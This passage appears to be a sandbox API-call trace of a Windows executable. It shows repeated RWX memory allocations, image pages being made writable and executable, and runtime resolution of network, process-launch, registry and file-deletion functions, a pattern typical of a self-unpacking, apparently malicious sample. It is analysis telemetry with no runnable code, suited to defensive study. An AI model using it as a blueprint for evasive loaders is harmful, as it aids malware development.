(lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0207.166] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0207.170] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0207.269] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0207.307] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0207.403] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0207.407] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0207.516] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0207.521] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0207.634] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0207.639] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0207.732] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0207.736] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0207.837] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0207.841] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2010000 [0208.010] VirtualFree (lpAddress=0x2010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0208.027] GetSystemTime (in: lpSystemTime=0x19f2f0 | out: lpSystemTime=0x19f2f0*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x5, wDay=0xc, wHour=0x9, wMinute=0x11, wSecond=0x2c, wMilliseconds=0x3d7)) [0208.027] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x2) returned 1 [0208.090] VirtualProtect (in: lpAddress=0x401000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.091] VirtualProtect (in: lpAddress=0x402000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.091] VirtualProtect (in: lpAddress=0x403000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.091] VirtualProtect (in: lpAddress=0x404000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.092] VirtualProtect (in: lpAddress=0x405000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.092] VirtualProtect (in: lpAddress=0x406000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.092] VirtualProtect (in: lpAddress=0x407000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.093] VirtualProtect (in: lpAddress=0x408000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.093] VirtualProtect (in: lpAddress=0x409000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.093] VirtualProtect (in: lpAddress=0x40a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.094] VirtualProtect (in: lpAddress=0x40b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.094] VirtualProtect (in: lpAddress=0x40c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.094] VirtualProtect (in: lpAddress=0x40d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.095] VirtualProtect (in: lpAddress=0x40e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.095] VirtualProtect (in: lpAddress=0x40f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.095] VirtualProtect (in: lpAddress=0x410000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.096] VirtualProtect (in: lpAddress=0x411000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.096] VirtualProtect (in: lpAddress=0x412000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.096] VirtualProtect (in: lpAddress=0x413000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.097] VirtualProtect (in: lpAddress=0x414000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.097] VirtualProtect (in: lpAddress=0x415000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.097] VirtualProtect (in: lpAddress=0x416000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.145] VirtualProtect (in: lpAddress=0x417000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.145] VirtualProtect (in: lpAddress=0x418000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.145] VirtualProtect (in: lpAddress=0x419000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.145] VirtualProtect (in: lpAddress=0x41a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.146] VirtualProtect (in: lpAddress=0x41b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.146] VirtualProtect (in: lpAddress=0x41c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.146] VirtualProtect (in: lpAddress=0x41d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.146] VirtualProtect (in: lpAddress=0x41e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.146] VirtualProtect (in: lpAddress=0x41f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.147] VirtualProtect (in: lpAddress=0x420000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.147] VirtualProtect (in: lpAddress=0x421000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.147] VirtualProtect (in: lpAddress=0x422000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.147] VirtualProtect (in: lpAddress=0x423000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.148] VirtualProtect (in: lpAddress=0x424000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.148] VirtualProtect (in: lpAddress=0x425000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.148] VirtualProtect (in: lpAddress=0x426000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.148] VirtualProtect (in: lpAddress=0x427000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.149] VirtualProtect (in: lpAddress=0x428000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.149] VirtualProtect (in: lpAddress=0x429000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.149] VirtualProtect (in: lpAddress=0x42a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.149] VirtualProtect (in: lpAddress=0x42b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.150] VirtualProtect (in: lpAddress=0x42c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.150] VirtualProtect (in: lpAddress=0x42d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.150] VirtualProtect (in: lpAddress=0x42e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.150] VirtualProtect (in: lpAddress=0x42f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.150] VirtualProtect (in: lpAddress=0x430000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.151] VirtualProtect (in: lpAddress=0x431000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.151] VirtualProtect (in: lpAddress=0x432000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.151] VirtualProtect (in: lpAddress=0x433000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.151] VirtualProtect (in: lpAddress=0x434000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.152] VirtualProtect (in: lpAddress=0x435000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.152] VirtualProtect (in: lpAddress=0x436000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.152] VirtualProtect (in: lpAddress=0x437000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.152] VirtualProtect (in: lpAddress=0x438000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.153] VirtualProtect (in: lpAddress=0x439000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.153] VirtualProtect (in: lpAddress=0x43a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.153] VirtualProtect (in: lpAddress=0x43b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.153] VirtualProtect (in: lpAddress=0x43c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.154] VirtualProtect (in: lpAddress=0x43d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0208.163] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75bb0000 [0208.163] GetProcAddress (hModule=0x75bb0000, lpProcName="SysFreeString") returned 0x75bcb920 [0208.163] GetProcAddress (hModule=0x75bb0000, lpProcName="SysReAllocStringLen") returned 0x75bd1500 [0208.163] GetProcAddress (hModule=0x75bb0000, lpProcName="SysAllocStringLen") returned 0x75bcb7e0 [0208.164] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0208.164] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExA") returned 0x761cf020 [0208.164] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExA") returned 0x761cf210 [0208.164] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0208.164] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0208.164] GetProcAddress (hModule=0x74b70000, lpProcName="GetKeyboardType") returned 0x74be8d80 [0208.164] GetProcAddress (hModule=0x74b70000, lpProcName="DestroyWindow") returned 0x74ba3160 [0208.164] GetProcAddress (hModule=0x74b70000, lpProcName="LoadStringA") returned 0x74b8d7b0 [0208.165] GetProcAddress (hModule=0x74b70000, lpProcName="MessageBoxA") returned 0x74bdd740 [0208.165] GetProcAddress (hModule=0x74b70000, lpProcName="CharNextA") returned 0x74b8bf60 [0208.165] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0208.165] GetProcAddress (hModule=0x75e90000, lpProcName="GetACP") returned 0x75ea4ca0 [0208.165] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0208.165] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualFree") returned 0x75ea69d0 [0208.165] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualAlloc") returned 0x75ea6970 [0208.165] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0208.165] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0208.166] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentThreadId") returned 0x75ea8820 [0208.166] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualQuery") returned 0x75ea6a70 [0208.166] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0208.166] GetProcAddress (hModule=0x75e90000, lpProcName="MultiByteToWideChar") returned 0x75ea5c40 [0208.166] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0208.166] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcpynA") returned 0x75ea6c10 [0208.166] GetProcAddress (hModule=0x75e90000, lpProcName="LoadLibraryExA") returned 0x75ea5aa0 [0208.166] GetProcAddress (hModule=0x75e90000, lpProcName="GetThreadLocale") returned 0x75ea5600 [0208.166] GetProcAddress (hModule=0x75e90000, lpProcName="GetStartupInfoA") returned 0x75ee28e0 [0208.167] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0208.167] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleA") returned 0x75ea50b0 [0208.167] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameA") returned 0x75ea5070 [0208.167] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoA") returned 0x75ea5020 [0208.167] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineA") returned 0x75ea4cb0 [0208.167] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibrary") returned 0x75ea4c40 [0208.167] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileA") returned 0x75efedb0 [0208.167] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0208.167] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0208.168] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0208.168] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0208.168] GetProcAddress (hModule=0x75e90000, lpProcName="UnhandledExceptionFilter") returned 0x75ea68d0 [0208.168] GetProcAddress (hModule=0x75e90000, lpProcName="RtlUnwind") returned 0x75ea7c10 [0208.168] GetProcAddress (hModule=0x75e90000, lpProcName="RaiseException") returned 0x75ea5e20 [0208.168] GetProcAddress (hModule=0x75e90000, lpProcName="GetStdHandle") returned 0x75ea5330 [0208.168] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0208.168] GetProcAddress (hModule=0x75e90000, lpProcName="TlsSetValue") returned 0x75ea6870 [0208.168] GetProcAddress (hModule=0x75e90000, lpProcName="TlsGetValue") returned 0x75ea6850 [0208.169] GetProcAddress (hModule=0x75e90000, lpProcName="LocalAlloc") returned 0x75ea5b20 [0208.169] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleA") returned 0x75ea50b0 [0208.169] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0208.169] GetProcAddress (hModule=0x74b70000, lpProcName="TranslateMessage") returned 0x74b9f900 [0208.169] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0208.169] GetProcAddress (hModule=0x74b70000, lpProcName="PeekMessageA") returned 0x74b887a0 [0208.169] GetProcAddress (hModule=0x74b70000, lpProcName="MessageBoxA") returned 0x74bdd740 [0208.169] GetProcAddress (hModule=0x74b70000, lpProcName="LoadStringA") returned 0x74b8d7b0 [0208.170] GetProcAddress (hModule=0x74b70000, lpProcName="GetSystemMetrics") returned 0x74b9ddc0 [0208.170] GetProcAddress (hModule=0x74b70000, lpProcName="GetLastInputInfo") returned 0x74b8bd10 [0208.170] GetProcAddress (hModule=0x74b70000, lpProcName="DispatchMessageA") returned 0x74b8fd80 [0208.170] GetProcAddress (hModule=0x74b70000, lpProcName="CharNextW") returned 0x74ba1130 [0208.170] GetProcAddress (hModule=0x74b70000, lpProcName="CharLowerBuffW") returned 0x74b934a0 [0208.170] GetProcAddress (hModule=0x74b70000, lpProcName="CharNextA") returned 0x74b8bf60 [0208.170] GetProcAddress (hModule=0x74b70000, lpProcName="CharLowerBuffA") returned 0x74be75b0 [0208.170] GetProcAddress (hModule=0x74b70000, lpProcName="CharUpperBuffA") returned 0x74be7650 [0208.170] GetProcAddress (hModule=0x74b70000, lpProcName="CharToOemA") returned 0x74bdf020 [0208.170] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0208.171] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0208.171] GetProcAddress (hModule=0x75e90000, lpProcName="WinExec") returned 0x75ee2b00 [0208.171] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0208.171] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualQuery") returned 0x75ea6a70 [0208.171] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0208.171] GetProcAddress (hModule=0x75e90000, lpProcName="SizeofResource") returned 0x75ea6740 [0208.171] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileTime") returned 0x75eff140 [0208.171] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointer") returned 0x75eff120 [0208.172] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0208.172] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0 [0208.172] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0208.172] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0 [0208.172] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexA") returned 0x75ede030 [0208.172] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500 [0208.172] GetProcAddress (hModule=0x75e90000, lpProcName="LockResource") returned 0x75ea5bc0 [0208.172] GetProcAddress (hModule=0x75e90000, lpProcName="LoadResource") returned 0x75ea5b00 [0208.172] GetProcAddress (hModule=0x75e90000, lpProcName="LoadLibraryA") returned 0x75ea5a80 [0208.173] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0208.173] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSection") returned 0x77c0af20 [0208.173] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalUnlock") returned 0x75ee44e0 [0208.173] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalReAlloc") returned 0x75ee3f90 [0208.173] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalHandle") returned 0x75ee4420 [0208.173] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalLock") returned 0x75ee42f0 [0208.173] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalFree") returned 0x75ea1ee0 [0208.173] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalAlloc") returned 0x75ea5750 [0208.174] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersionExA") returned 0x75ea56d0 [0208.174] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0208.174] GetProcAddress (hModule=0x75e90000, lpProcName="GetThreadLocale") returned 0x75ea5600 [0208.174] GetProcAddress (hModule=0x75e90000, lpProcName="GetStdHandle") returned 0x75ea5330 [0208.174] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0208.174] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleA") returned 0x75ea50b0 [0208.174] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0208.174] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameA") returned 0x75ea5070 [0208.174] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoA") returned 0x75ea5020 [0208.175] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocalTime") returned 0x75ea5060 [0208.175] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0208.175] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesA") returned 0x75efeee0 [0208.175] GetProcAddress (hModule=0x75e90000, lpProcName="GetEnvironmentVariableA") returned 0x75ea4f90 [0208.175] GetProcAddress (hModule=0x75e90000, lpProcName="GetDiskFreeSpaceA") returned 0x75efee80 [0208.175] GetProcAddress (hModule=0x75e90000, lpProcName="GetDateFormatA") returned 0x75ea76e0 [0208.176] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0208.176] GetProcAddress (hModule=0x75e90000, lpProcName="GetCPInfo") returned 0x75ea4d10 [0208.176] GetProcAddress (hModule=0x75e90000, lpProcName="FreeResource") returned 0x75ea4c80 [0208.176] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibrary") returned 0x75ea4c40 [0208.176] GetProcAddress (hModule=0x75e90000, lpProcName="FormatMessageA") returned 0x75ea4bc0 [0208.176] GetProcAddress (hModule=0x75e90000, lpProcName="FindResourceA") returned 0x75ee27c0 [0208.177] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0208.177] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0208.177] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0208.177] GetProcAddress (hModule=0x75e90000, lpProcName="FileTimeToLocalFileTime") returned 0x75efed60 [0208.177] GetProcAddress (hModule=0x75e90000, lpProcName="FileTimeToDosDateTime") returned 0x75ee1eb0 [0208.177] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0208.177] GetProcAddress (hModule=0x75e90000, lpProcName="EnumCalendarInfoA") returned 0x75ebc0d0 [0208.177] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0208.178] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40 [0208.178] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0208.178] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0208.178] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessA") returned 0x75ea45b0 [0208.178] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590 [0208.178] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexA") returned 0x75efeb40 [0208.178] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0208.178] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410 [0208.178] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0208.178] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0208.179] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExA") returned 0x761cffc0 [0208.179] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExA") returned 0x761cf020 [0208.179] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExA") returned 0x761cf210 [0208.179] GetProcAddress (hModule=0x761b0000, lpProcName="RegEnumValueA") returned 0x761d1940 [0208.179] GetProcAddress (hModule=0x761b0000, lpProcName="RegEnumKeyExA") returned 0x761d1960 [0208.179] GetProcAddress (hModule=0x761b0000, lpProcName="RegDeleteValueA") returned 0x761d07a0 [0208.179] GetProcAddress (hModule=0x761b0000, lpProcName="RegDeleteKeyA") returned 0x761cf8c0 [0208.179] GetProcAddress (hModule=0x761b0000, lpProcName="RegCreateKeyExA") returned 0x761cf560 [0208.180] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0208.180] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0208.180] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0208.180] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x73310000 [0208.189] GetProcAddress (hModule=0x73310000, lpProcName="InternetReadFile") returned 0x73443a70 [0208.189] GetProcAddress (hModule=0x73310000, lpProcName="InternetOpenUrlA") returned 0x7350e8c0 [0208.189] GetProcAddress (hModule=0x73310000, lpProcName="InternetOpenA") returned 0x7342f1a0 [0208.189] GetProcAddress (hModule=0x73310000, lpProcName="InternetCloseHandle") returned 0x7341d000 [0208.189] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76480000 [0208.189] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteW") returned 0x765e42e0 [0208.189] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76480000 [0208.190] GetProcAddress (hModule=0x76480000, lpProcName="SHGetSpecialFolderLocation") returned 0x765e3790 [0208.190] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76480000 [0208.190] GetProcAddress (hModule=0x76480000, lpProcName="SHGetPathFromIDListW") returned 0x7658bda0 [0208.190] GetProcAddress (hModule=0x76480000, lpProcName="SHGetMalloc") returned 0x765edf80 [0208.190] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75bb0000 [0208.190] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayPtrOfIndex") returned 0x75bd6670 [0208.190] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayGetUBound") returned 0x75bd5460 [0208.190] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayGetLBound") returned 0x75bd5ea0 [0208.190] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayCreate") returned 0x75bd0340 [0208.191] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantChangeType") returned 0x75bca5e0 [0208.191] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantCopy") returned 0x75be9dc0 